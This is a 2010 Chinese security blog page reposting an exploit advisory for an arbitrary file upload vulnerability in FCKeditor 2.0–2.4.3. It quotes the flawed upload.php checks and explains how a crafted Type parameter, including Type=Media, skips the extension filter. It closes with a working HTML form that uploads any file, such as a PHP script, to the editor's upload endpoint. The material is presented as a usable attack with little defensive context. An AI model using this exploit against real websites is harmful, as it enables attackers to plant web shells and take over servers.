分类

学习笔记 [17]
渗透测试 [4]
一些杂文 [14]
coding [16]
漏洞信息 [17]
技术文章 [15]
开发文档 [8]
个人作品 [5]
PS:个人作品在各种下载栏目均有下载

站内搜索

日历

«  November 2010  »
Su Mo Tu We Th Fr Sa
 123456
78910111213
14151617181920
21222324252627
282930

友情链接

  • 莫良博客
  • 冷夜博客
  • 八神博客
  • Tm3yShell7
  • 2idy电影网
  • Blueandhack's Blog
  • 幻泉博客
  • 羽蛇
  • Elaf
  • 小冰's Blog

    • 访问统计(起于2010/10/2)

    访问统计
    PortWatcher's Blog
    Monday, 2025-06-30, 1:46 PM
    Welcome Guest
    Main | Registration | Login | RSS

    Blog

    Main » 2010 » November » 11 » FCKeditor 2.x <= 2.4.3 Arbitrary File Upload Vulnerability
    1:12 PM
    FCKeditor 2.x <= 2.4.3 Arbitrary File Upload Vulnerability
    # Exploit Title: FCKeditor 2.0-2.4.3 arbitrary file upload

    # Author: grabz

    # Software Link: http://sourceforge.net/projects/fckeditor/

    # Version: FCKeditor 2.x <= 2.4.3

    # Tested on: 2.0, 2.2, 2.3.2, 2.4.0, 2.4.3

    for version 2.0 - 2.2:

    in file FCKeditor/editor/filemanager/upload/php/upload.php

    Code

    #$sType = isset( $_GET['Type'] ) ? $_GET['Type'] : 'File' ;  

    #  

    #// Get the allowed and denied extensions arrays.  

    #$arAllowed = $Config['AllowedExtensions'][$sType] ;  

    #$arDenied = $Config['DeniedExtensions'][$sType] ;  

    we can send as Type any text that not contained in (File, Flash, Image) and

    then we can upload file with any extension like ".php"

    for version 2.3.0 - 2.4.3:

    in file FCKeditor/editor/filemanager/upload/php/upload.php

    Code

    #$sType = isset( $_GET['Type'] ) ? $_GET['Type'] : 'File' ;  

    #  

    #// Check if it is an allowed type.  

    #if ( !in_array( $sType, array('File','Image','Flash','Media') ) )  

    # SendResults( 1, '', '', 'Invalid type specified' ) ;  

    #  

    #// Get the allowed and denied extensions arrays.  

    #$arAllowed = $Config['AllowedExtensions'][$sType] ;  

    #$arDenied = $Config['DeniedExtensions'][$sType] ;  

    in this code we can see filter by Type, but in config.php

    Code

    $Config['AllowedExtensions']['Media'] and  

    $Config['DeniedExtensions']['Media'] not exists))  

    if we send Type=Media, we can upload any file)

    #Exploit

    Code

    <form enctype="multipart/form-data" action="  

    http://localhost/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media"  

    method="post">  

    <input name="NewFile" type="file">  

    <input type="submit" value="submit">  

    </form>
    Category: 漏洞信息 | Views: 7703 | Added by: Jury | Rating: 0.0/0
    Total comments: 0
    Name *:
    Email *:
    Code *:

    admin@portwatcher.net |